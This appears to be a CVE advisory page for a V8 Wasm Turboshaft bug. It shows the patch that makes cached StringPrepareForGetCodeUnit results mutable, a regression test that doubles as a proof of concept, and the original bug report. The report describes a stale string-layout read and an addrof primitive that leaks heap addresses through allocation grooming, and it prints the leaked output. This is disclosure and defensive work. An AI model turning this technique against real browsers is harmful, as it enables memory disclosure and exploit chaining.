CVE-2026-7999
Overview
Files Changed
src/compiler/turboshaft/wasm-load-elimination-reducer.htest/mjsunit/regress/wasm/regress-493099941.js
Patch
From 45ec8457e14cbdc9a23b118f0ad48f7ac6d9bcff Mon Sep 17 00:00:00 2001 From: Jakob Kummerow <[email protected]> Date: Mon, 23 Mar 2026 13:47:22 +0100 Subject: [PATCH] [wasm][strings] Fix PrepareForGetCodeUnit elimination While strings themselves are immutable, they could be rewritten in-place into ThinStrings or ExternalStrings, so we have to reload the cached pointer to the first character after arbitrary calls. Fixed: 493099941 Change-Id: I454b1378d1157999fd3892dac063f48cb41ce7dd Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7693134 Auto-Submit: Jakob Kummerow <[email protected]> Reviewed-by: Darius Mercadier <[email protected]> Commit-Queue: Darius Mercadier <[email protected]> Cr-Commit-Position: refs/heads/main@{#105986} --- diff --git a/src/compiler/turboshaft/wasm-load-elimination-reducer.h b/src/compiler/turboshaft/wasm-load-elimination-reducer.h index c3d67a4..95f6833 100644 --- a/src/compiler/turboshaft/wasm-load-elimination-reducer.h +++ b/src/compiler/turboshaft/wasm-load-elimination-reducer.h @@ -234,10 +234,17 @@ return all_keys_.find(mem) != all_keys_.end(); } + bool LoadLikeMutability(int offset_sentinel) { + // While strings themselves are immutable, their heap object representation + // could get rewritten into a ThinString or ExternalString, so we need + // to consider them mutable (and invalidate such values at calls). + if (offset_sentinel == kStringPrepareForGetCodeunitIndex) return true; + return false; + } + OpIndex FindLoadLike(OpIndex op_idx, int offset_sentinel) { - static constexpr bool mutability = false; return FindImpl(ResolveBase(op_idx), offset_sentinel, kLoadLikeType, - kLoadLikeSize, mutability); + kLoadLikeSize, LoadLikeMutability(offset_sentinel)); } OpIndex FindImpl(OpIndex object, int offset, wasm::ModuleTypeIndex type_index, @@ -273,9 +280,8 @@ void InsertLoadLike(OpIndex base_idx, int offset_sentinel, OpIndex value_idx) { OpIndex base = ResolveBase(base_idx); - static constexpr bool mutability = false; - Insert(base, offset_sentinel, kLoadLikeType, kLoadLikeSize, mutability, - value_idx); + Insert(base, offset_sentinel, kLoadLikeType, kLoadLikeSize, + LoadLikeMutability(offset_sentinel), value_idx); } #ifdef DEBUG diff --git a/test/mjsunit/regress/wasm/regress-493099941.js b/test/mjsunit/regress/wasm/regress-493099941.js new file mode 100644 index 0000000..88860e4 --- /dev/null +++ b/test/mjsunit/regress/wasm/regress-493099941.js @@ -0,0 +1,78 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax --expose-externalize-string + +d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js"); + +const builder = new WasmModuleBuilder(); + +const sig_i_ri = makeSig([kWasmExternRef, kWasmI32], [kWasmI32]); +const $sig_v_r = builder.addType(kSig_v_r); + +const $ext = builder.addImport("m", "ext", $sig_v_r); +const $thin = builder.addImport("m", "thin", $sig_v_r); +assertEquals(1, $thin); // Reused as index in table below. + +const $charCodeAt = builder.addImport("wasm:js-string", "charCodeAt", sig_i_ri); +const $table0 = builder.addTable(wasmRefNullType($sig_v_r), 2, 2); +builder.addActiveElementSegment( + $table0.index, wasmI32Const(0), + [[kExprRefFunc, $ext], [kExprRefFunc, $thin]], + wasmRefType($sig_v_r)); + +builder.addFunction("test", sig_i_ri).exportFunc().addBody([ + kExprLocalGet, 0, + kExprI32Const, 0, + kExprCallFunction, $charCodeAt, + kExprDrop, + + kExprLocalGet, 0, // string + kExprLocalGet, 1, // function index + kExprCallIndirect, $sig_v_r, $table0.index, + + kExprLocalGet, 0, + kExprI32Const, 0, + kExprCallFunction, $charCodeAt, + + kExprLocalGet, 0, + kExprI32Const, 1, + kExprCallFunction, $charCodeAt, + kExprI32Const, 8, + kExprI32Shl, + kExprI32Ior, + + kExprLocalGet, 0, + kExprI32Const, 2, + kExprCallFunction, $charCodeAt, + kExprI32Const, 16, + kExprI32Shl, + kExprI32Ior, + + kExprLocalGet, 0, + kExprI32Const, 3, + kExprCallFunction, $charCodeAt, + kExprI32Const, 24, + kExprI32Shl, + kExprI32Ior, + ]); + +function thin(s) { const o = {}; o[s]; } +function ext(s) { externalizeString(s); } + +let instance = + builder.instantiate({m: { ext, thin }}, {builtins: ["js-string"]}); + +function f(s, func) { + let clone = String.fromCharCode(...s.split("").map(c => c.charCodeAt(0))); + clone = createExternalizableString(clone); + return instance.exports.test(clone, func).toString(16); +} +const string = "abcdefghijklmnopqrstuvwxyz"; +const expected = "64636261"; // Hex ASCII for "abcd", little endian order. +assertEquals(expected, f(string, $thin)); +assertEquals(expected, f(string, $ext)); +%WasmTierUpFunction(instance.exports.test); +assertEquals(expected, f(string, $thin)); +assertEquals(expected, f(string, $ext));
Regression Test / PoC
diff --git a/test/mjsunit/regress/wasm/regress-493099941.js b/test/mjsunit/regress/wasm/regress-493099941.js
new file mode 100644
index 0000000..88860e4
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-493099941.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --expose-externalize-string
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+const builder = new WasmModuleBuilder();
+
+const sig_i_ri = makeSig([kWasmExternRef, kWasmI32], [kWasmI32]);
+const $sig_v_r = builder.addType(kSig_v_r);
+
+const $ext = builder.addImport("m", "ext", $sig_v_r);
+const $thin = builder.addImport("m", "thin", $sig_v_r);
+assertEquals(1, $thin); // Reused as index in table below.
+
+const $charCodeAt = builder.addImport("wasm:js-string", "charCodeAt", sig_i_ri);
+const $table0 = builder.addTable(wasmRefNullType($sig_v_r), 2, 2);
+builder.addActiveElementSegment(
+ $table0.index, wasmI32Const(0),
+ [[kExprRefFunc, $ext], [kExprRefFunc, $thin]],
+ wasmRefType($sig_v_r));
+
+builder.addFunction("test", sig_i_ri).exportFunc().addBody([
+ kExprLocalGet, 0,
+ kExprI32Const, 0,
+ kExprCallFunction, $charCodeAt,
+ kExprDrop,
+
+ kExprLocalGet, 0, // string
+ kExprLocalGet, 1, // function index
+ kExprCallIndirect, $sig_v_r, $table0.index,
+
+ kExprLocalGet, 0,
+ kExprI32Const, 0,
+ kExprCallFunction, $charCodeAt,
+
+ kExprLocalGet, 0,
+ kExprI32Const, 1,
+ kExprCallFunction, $charCodeAt,
+ kExprI32Const, 8,
+ kExprI32Shl,
+ kExprI32Ior,
+
+ kExprLocalGet, 0,
+ kExprI32Const, 2,
+ kExprCallFunction, $charCodeAt,
+ kExprI32Const, 16,
+ kExprI32Shl,
+ kExprI32Ior,
+
+ kExprLocalGet, 0,
+ kExprI32Const, 3,
+ kExprCallFunction, $charCodeAt,
+ kExprI32Const, 24,
+ kExprI32Shl,
+ kExprI32Ior,
+ ]);
+
+function thin(s) { const o = {}; o[s]; }
+function ext(s) { externalizeString(s); }
+
+let instance =
+ builder.instantiate({m: { ext, thin }}, {builtins: ["js-string"]});
+
+function f(s, func) {
+ let clone = String.fromCharCode(...s.split("").map(c => c.charCodeAt(0)));
+ clone = createExternalizableString(clone);
+ return instance.exports.test(clone, func).toString(16);
+}
+const string = "abcdefghijklmnopqrstuvwxyz";
+const expected = "64636261"; // Hex ASCII for "abcd", little endian order.
+assertEquals(expected, f(string, $thin));
+assertEquals(expected, f(string, $ext));
+%WasmTierUpFunction(instance.exports.test);
+assertEquals(expected, f(string, $thin));
+assertEquals(expected, f(string, $ext));
Original Bug Report
V8 Wasm Turboshaft stale `StringPrepareForGetCodeUnit` reuse across JS import leading to memory disclosure
VULNERABILITY DETAILS
wasm:js-string.charCodeAt lowers through StringAsWtf16 to GetCodeUnitImpl, which calls StringPrepareForGetCodeUnit and then performs a raw immutable load using the prepared (base, base_offset, charwidth_shift) tuple.
Turboshaft Wasm load elimination caches StringPrepareForGetCodeUnit as a load-like entry keyed by the string input. If a JS import executes code that uses the string as a property key, that JS can internalize the string and rewrite it from a sequential string to a thin string. However, the cached preparation survives the call because InvalidateMaybeAliasing() skips load-like entries whose mutability == false:
template <EntriesWithOffsets offsets = EntriesWithOffsets::kInvalidate>
void InvalidateMaybeAliasing() {
for (auto& base_keys : base_keys_) {
OpIndex base = base_keys.first;
if (non_aliasing_objects_.Get(base)) continue;
if constexpr (offsets == EntriesWithOffsets::kInvalidate) {
for (auto it = base_keys.second.with_offsets.begin();
it != base_keys.second.with_offsets.end();) {
Key key = *it;
if (key.data().mem.mutability == false) {
++it;
continue;
}
it = base_keys.second.with_offsets.RemoveAt(it);
Set(key, OpIndex::Invalid());
}
}
}
}
The next charCodeAt therefore reuses a stale sequential-string layout after a call whose JS body can change string representation, and on the tested build it returns non-character data instead of the original string bytes.
On a current V8 development build, this is a stable non-crashing V8-side memory disclosure reachable from Wasm. The attached addrof PoC uses the same stale StringPrepareForGetCodeUnit reuse bug to leak a pointer-derived low32 value from the internalized key string path. The PoC then places nearby heap objects in an attacker-controlled allocation schedule (key, sym, then tmp, with warm-up and GC to stabilize placement), so the leaked key address can be combined with a stable relative delta in this exact schedule to derive the low 32 bits of the tmp object’s address inside the V8 cage. In the reproduced output below, addrof_tmp_tagged=0x10bc2c9 matches the low32 reported by %DebugPrint(tmp).
VERSION
Version tested: current V8 development d8 build from revision 8274e932001c26f5282ec0e26e4dfe1717d32e08 (V8 version 14.8.0 (candidate)).
REPRODUCTION CASE
Attached files:
poc.js
Run d8 poc.js --allow-natives-syntax --expose-gc.
Result:
leaked_key_tagged=0x1093755
leaked_key=0x1093754
tmp_key_delta=0x28b74
addrof_tmp=0x10bc2c8
addrof_tmp_tagged=0x10bc2c9
tmp_debugprint:
DebugPrint: 0x...010bc2c9: [JS_OBJECT_TYPE] in OldSpace
addrof_tmp_tagged matches the low 32 bits of the tagged address printed by %DebugPrint(tmp).
The key side effect that makes the stale preparation invalid is the property-key operation inside this JS import:
ext(s) {
const o = {};
o[s];
}
The import call itself is not the important part; the important part is that the JS body uses s as a property key. In this setup, that property-key processing internalizes the string and rewrites the original sequential string as a thin string. After tier-up, the Wasm code reuses the stale StringPrepareForGetCodeUnit result created for the pre-internalization sequential string, so the later charCodeAt reads from the wrong layout.
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: N/A (non-crashing memory disclosure) Crash State: N/A Client ID (if relevant): N/A
CREDIT INFORMATION
Reporter credit: Taisic Yun (@taisic) of Theori